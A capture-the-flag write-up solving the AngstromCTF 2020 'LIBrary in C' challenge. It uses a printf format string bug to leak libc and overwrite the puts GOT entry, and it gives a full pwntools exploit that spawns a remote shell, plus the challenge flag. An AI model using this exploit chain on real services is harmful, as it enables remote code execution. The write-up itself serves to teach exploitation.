LIBrary in C was the fifth challenge in the binary exploitation category of AngstromCTF 2020. The challenge supplies us with an executable, some source code (below), and a libc file. Usually whenever a pwnable challenge gives a libc file, some sort of ret2libc is involved.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
char name[64];
char book[64];
puts("Welcome to the LIBrary in C!");
puts("What is your name?");
fgets(name, 64, stdin);
// printf works just like System.out.print in Java right?
printf("Why hello there ");
printf(name);
puts("And what book would you like to check out?");
fgets(book, 64, stdin);
printf("Your cart:\n - ");
printf(book);
puts("\nThat's great and all but uh...");
puts("It turns out this library doesn't actually exist so you'll never get your book.");
puts("Have a nice day!");
}The source is actually pretty simple, and we can see that there are two calls to printf where we control the first argument. In other words - format string vulnerability! Let’s start by doing some checks on the binary and on the libc version.
root@b1a0c5b0df97 /pwn# checksec ./library_in_c
[*] '/pwn/library_in_c'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
root@b1a0c5b0df97 /pwn# checksec ./libc.so.6
[*] '/pwn/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Looks like the libc has PIE enabled so leaking the libc base address will be a necessary step if we wish to return to somewhere in libc. Since there are two calls to printf, one call could be used to leak the libc base address and the other could be used to overwrite something on the GOT to point to something in libc. My guess is overwriting the puts function to point to libc system or a useful gadget (more on that later). Running the binary confirms the format string vulnerability (seen below).
root@b1a0c5b0df97 /pwn# ./library_in_c
Welcome to the LIBrary in C!
What is your name?
%x %x %x %x
Why hello there f7c34c00 ca921780 ca6522c0 cab3f700
And what book would you like to check out?
%x %x %x %x
Your cart:
- f7c34c00 ca921780 ca6522c0 cab3f700
That's great and all but uh...
It turns out this library doesn't actually exist so you'll never get your book.
Have a nice day!
Now that we have an idea of what we need to do we can launch the binary in GDB. In order to leak the base of libc we need to understand a little bit of how function calls work in compiled binaries. Whenever something is called, the next address is pushed to the stack, and the instruction pointer is set to the address of whatever is being called. __libc_start_main is the setup function which (more or less) calls the main function. After the main function, the instruction pointer returns to the address that was pushed onto the stack in __libc_start_main. This means that we can find an offset of __libc_start_main somewhere on the stack.
(gdb) disas main
Dump of assembler code for function main:
0x0000000000400747 <+0>: push rbp
0x0000000000400748 <+1>: mov rbp,rsp
0x000000000040074b <+4>: sub rsp,0xa0
0x0000000000400752 <+11>: mov rax,QWORD PTR fs:0x28
0x000000000040075b <+20>: mov QWORD PTR [rbp-0x8],rax
0x000000000040075f <+24>: xor eax,eax
0x0000000000400761 <+26>: mov rax,QWORD PTR [rip+0x2008f8] # 0x601060 <stdout@@GLIBC_2.2.5>
0x0000000000400768 <+33>: mov ecx,0x0
0x000000000040076d <+38>: mov edx,0x2
0x0000000000400772 <+43>: mov esi,0x0
0x0000000000400777 <+48>: mov rdi,rax
0x000000000040077a <+51>: call 0x400650 <setvbuf@plt>
0x000000000040077f <+56>: call 0x400640 <getegid@plt>
0x0000000000400784 <+61>: mov DWORD PTR [rbp-0x94],eax
0x000000000040078a <+67>: mov edx,DWORD PTR [rbp-0x94]
0x0000000000400790 <+73>: mov ecx,DWORD PTR [rbp-0x94]
0x0000000000400796 <+79>: mov eax,DWORD PTR [rbp-0x94]
0x000000000040079c <+85>: mov esi,ecx
0x000000000040079e <+87>: mov edi,eax
0x00000000004007a0 <+89>: call 0x400610 <setresgid@plt>
0x00000000004007a5 <+94>: lea rdi,[rip+0x16c] # 0x400918
0x00000000004007ac <+101>: call 0x4005f0 <puts@plt>
0x00000000004007b1 <+106>: lea rdi,[rip+0x17d] # 0x400935
0x00000000004007b8 <+113>: call 0x4005f0 <puts@plt>
0x00000000004007bd <+118>: mov rdx,QWORD PTR [rip+0x2008ac] # 0x601070 <stdin@@GLIBC_2.2.5>
0x00000000004007c4 <+125>: lea rax,[rbp-0x90]
0x00000000004007cb <+132>: mov esi,0x40
0x00000000004007d0 <+137>: mov rdi,rax
0x00000000004007d3 <+140>: call 0x400630 <fgets@plt>
0x00000000004007d8 <+145>: lea rdi,[rip+0x169] # 0x400948
0x00000000004007df <+152>: mov eax,0x0
0x00000000004007e4 <+157>: call 0x400620 <printf@plt>
0x00000000004007e9 <+162>: lea rax,[rbp-0x90]
0x00000000004007f0 <+169>: mov rdi,rax
0x00000000004007f3 <+172>: mov eax,0x0
0x00000000004007f8 <+177>: call 0x400620 <printf@plt>
0x00000000004007fd <+182>: lea rdi,[rip+0x15c] # 0x400960
0x0000000000400804 <+189>: call 0x4005f0 <puts@plt>
0x0000000000400809 <+194>: mov rdx,QWORD PTR [rip+0x200860] # 0x601070 <stdin@@GLIBC_2.2.5>
0x0000000000400810 <+201>: lea rax,[rbp-0x50]
0x0000000000400814 <+205>: mov esi,0x40
0x0000000000400819 <+210>: mov rdi,rax
0x000000000040081c <+213>: call 0x400630 <fgets@plt>
0x0000000000400821 <+218>: lea rdi,[rip+0x163] # 0x40098b
0x0000000000400828 <+225>: mov eax,0x0
0x000000000040082d <+230>: call 0x400620 <printf@plt>
0x0000000000400832 <+235>: lea rax,[rbp-0x50]
0x0000000000400836 <+239>: mov rdi,rax
0x0000000000400839 <+242>: mov eax,0x0
0x000000000040083e <+247>: call 0x400620 <printf@plt>
0x0000000000400843 <+252>: lea rdi,[rip+0x156] # 0x4009a0
0x000000000040084a <+259>: call 0x4005f0 <puts@plt>
0x000000000040084f <+264>: lea rdi,[rip+0x16a] # 0x4009c0
0x0000000000400856 <+271>: call 0x4005f0 <puts@plt>
0x000000000040085b <+276>: lea rdi,[rip+0x1ae] # 0x400a10
0x0000000000400862 <+283>: call 0x4005f0 <puts@plt>
0x0000000000400867 <+288>: mov eax,0x0
0x000000000040086c <+293>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000400870 <+297>: xor rcx,QWORD PTR fs:0x28
0x0000000000400879 <+306>: je 0x400880 <main+313>
0x000000000040087b <+308>: call 0x400600 <__stack_chk_fail@plt>
0x0000000000400880 <+313>: leave
0x0000000000400881 <+314>: ret
End of assembler dump.
(gdb) b *0x00000000004007fd
Breakpoint 1 at 0x4007fd
(gdb) r
Starting program: /pwn/library_in_c
Welcome to the LIBrary in C!
What is your name?
michael
Why hello there michael
Breakpoint 1, 0x00000000004007fd in main ()
(gdb) x __libc_start_main
0x7ffff7a2d740 <__libc_start_main>: 0x55415641
(gdb) x/30xg $rsp
0x7fffffffe5c0: 0x0000000000000000 0x0000000000000000
0x7fffffffe5d0: 0x7025207025207025 0x2520702520702520
0x7fffffffe5e0: 0x2070252070252070 0x7025207025207025
0x7fffffffe5f0: 0x2520702520702520 0x2070252070252070
0x7fffffffe600: 0x7025207025207025 0x0020702520702520
0x7fffffffe610: 0x00007ffff7ffe168 0x0000000000f0b5ff
0x7fffffffe620: 0x0000000000000001 0x00000000004008dd
0x7fffffffe630: 0x00007fffffffe65e 0x0000000000000000
0x7fffffffe640: 0x0000000000400890 0x0000000000400660
0x7fffffffe650: 0x00007fffffffe740 0xb87f2a8ed601f300
0x7fffffffe660: 0x0000000000400890 0x00007ffff7a2d830
0x7fffffffe670: 0x0000000000000001 0x00007fffffffe748
0x7fffffffe680: 0x00000001f7ffcca0 0x0000000000400747
0x7fffffffe690: 0x0000000000000000 0xecf9cfed110ca862
0x7fffffffe6a0: 0x0000000000400660 0x00007fffffffe740
Great! The pointer at 0x7fffffffe668 looks close to that of __libc_start_main. Doing the subtraction in python confirms our suspicions. The address is that of <__libc_start_main+240>.
root@b1a0c5b0df97 /pwn# python
Python 2.7.12 (default, Oct 8 2019, 14:14:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x00007ffff7a2d830 - 0x7ffff7a2d740
240
Keep in mind that even though the libc base address is randomized because of the PIE, all of the offsets are still the same. Since __libc_start_main is in libc, knowing its address can effectively give us the address to anything else in libc. Now we can find the offset from <__libc_start_main+240> to libc base.
(gdb) set environment LD_PRELOAD ./libc.so.6
(gdb) b *0x00000000004007fd
Breakpoint 1 at 0x4007fd
(gdb) r
Starting program: /pwn/library_in_c
Welcome to the LIBrary in C!
What is your name?
%p
Why hello there 0x7fffffffbf20
Breakpoint 1, 0x00000000004007fd in main ()
(gdb) info proc mappings
process 473
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /pwn/library_in_c
0x600000 0x601000 0x1000 0x0 /pwn/library_in_c
0x601000 0x602000 0x1000 0x1000 /pwn/library_in_c
0x602000 0x623000 0x21000 0x0 [heap]
0x7ffff7a0d000 0x7ffff7bcd000 0x1c0000 0x0 /pwn/libc.so.6
0x7ffff7bcd000 0x7ffff7dcd000 0x200000 0x1c0000 /pwn/libc.so.6
0x7ffff7dcd000 0x7ffff7dd1000 0x4000 0x1c0000 /pwn/libc.so.6
0x7ffff7dd1000 0x7ffff7dd3000 0x2000 0x1c4000 /pwn/libc.so.6
0x7ffff7dd3000 0x7ffff7dd7000 0x4000 0x0
0x7ffff7dd7000 0x7ffff7dfd000 0x26000 0x0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ff4000 0x7ffff7ff7000 0x3000 0x0
0x7ffff7ff7000 0x7ffff7ffa000 0x3000 0x0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 0x2000 0x0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
(gdb) x __libc_start_main
0x7ffff7a2d740 <__libc_start_main>: 0x55415641
(gdb) x/i puts
0x4005f0 <puts@plt>: jmp QWORD PTR [rip+0x200a22] # 0x601018
Let’s use python to calculate the offset.
root@b1a0c5b0df97 /pwn# python
Python 2.7.16 (default, Dec 13 2019, 18:00:32)
[GCC 4.2.1 Compatible Apple LLVM 11.0.0 (clang-1100.0.32.4) (-macos10.15-objc-s on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> libc_start_main = 0x7ffff7a2d740
>>> libc_base = 0x7ffff7a0d000
>>> libc_start_main - libc_base
132928
Great! The offset seems to be 132928. Through some trial and error, we can find that %27$p will give us the <__libc_start_main+240> address.
(gdb) r
Starting program: /pwn/library_in_c
Welcome to the LIBrary in C!
What is your name?
%25$p %26$p %27$p %28$p %29$p %30$p
Why hello there 0xabb2f3a2c9026f00 0x400890 0x7ffff7a2d830 0x1 0x7fffffffe748 0x1f7ffcca0
Now we have all necessary information to write a python script that leaks the base address of libc. I will use pwntools since it is easy to use and works very well.
from pwn import *
r = remote('shell.actf.co', 20201)
# format string to leak <__libc_start_main+240>
r.sendline(';%27$p;')
# __libc_start_main address
libc_start_main = int(r.recvuntil('check out?').split(';')[1], 16) - 240
# libc base address
libc_base = libc_start_main - 133168
print(hex(libc_base))All that is left to do now is to overwrite the address of puts, which we found above to be stored at 0x601018. To do this, we can use the format string modifier %n which will write the total number of bytes printed to the argument. It works well to use this along with %Nx, because this modifier will print a hex word padded to size N. In order to do this more effieiently, I split up the address into three two-byte sections, so it wouldn’t be necassary to print millions of bytes for the format string. This is achieved through bit masking. The “h” before the “n” in %hn will operate on halfwords (two bytes) instead of full words (four bytes). Through trial and error you will find that the three addresses after byte 40 in the payload can be accessed with %21$p, %22$p, and %23$p. Changing the “p”s to “n”s will allow us to write to these addresses.
root@b1a0c5b0df97 /pwn# one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
Whenever I was writing this script during the CTF I got stuck for a long time trying to write the address of libc system into the puts pointer. This would be a fine idea, but system expects a command string to be pushed onto the stack before execution (preferably “/bin/sh”). With the payload below, I could not figure out how to make this happen, until I tried the one gadget gem which helps to find one gadget RCE. Running the gem on the libc.so.6 file gives the output seen above, and the second gadget is found to work in this case (through some trial and error). The objdump tool would have also worked for this, but one_gadget makes the job much easier.
from pwn import *
r = remote('shell.actf.co', 20201)
# format string to leak <__libc_start_main+240>
r.sendline(';%27$p;')
# __libc_start_main address
libc_start_main = int(r.recvuntil('check out?').split(';')[1], 16) - 240
# libc base address
libc_base = libc_start_main - 132928
# location of pointer to <puts@plt>
puts = 0x601018
# execve("/bin/sh") gadget location
system = libc_base + 0x4526a
# split into three halfword sections of system gadget address
# only three necessary because address usually starts with 0x0000...
p1 = (system & 0xffff)
p2 = (system & 0xffff0000) >> 16
p3 = (system & 0xffff00000000) >> 32
ps = {p1: '21', p2: '22', p3: '23'}
# write the halfword sections to the sections of the puts pointer
sm = sorted(ps)[0]
pl = "%{}x".format(sm)
pl += "%{}$hn".format(ps[sm])
md = sorted(ps)[1]
pl += "%{}x".format(md - sm)
pl += "%{}$hn".format(ps[md])
lg = sorted(ps)[2]
pl += "%{}x".format(lg - md)
pl += "%{}$hn".format(ps[lg])
# keep stack aligned
pl += "A" * (40 - len(pl))
pl += p64(puts + 0) # 21$
pl += p64(puts + 2) # 22$
pl += p64(puts + 4) # 23$
# send the payload
r.sendline(pl)
r.interactive()Running this script gives us an interactive prompt.
root@b1a0c5b0df97 /pwn# python exploit.py
[+] Opening connection to shell.actf.co on port 20201: Done
[*] Switching to interactive mode
$ id
uid=11969(problem2020_library_in_c) gid=11969(problem2020_library_in_c) groups=11969(problem2020_library_in_c)
$ cat flag.txt
actf{us1ng_c_15_n3v3r_4_g00d_1d34}
Using cat on the flag file gives us actf{us1ng_c_15_n3v3r_4_g00d_1d34}, which can be submitted on the site for 120 points!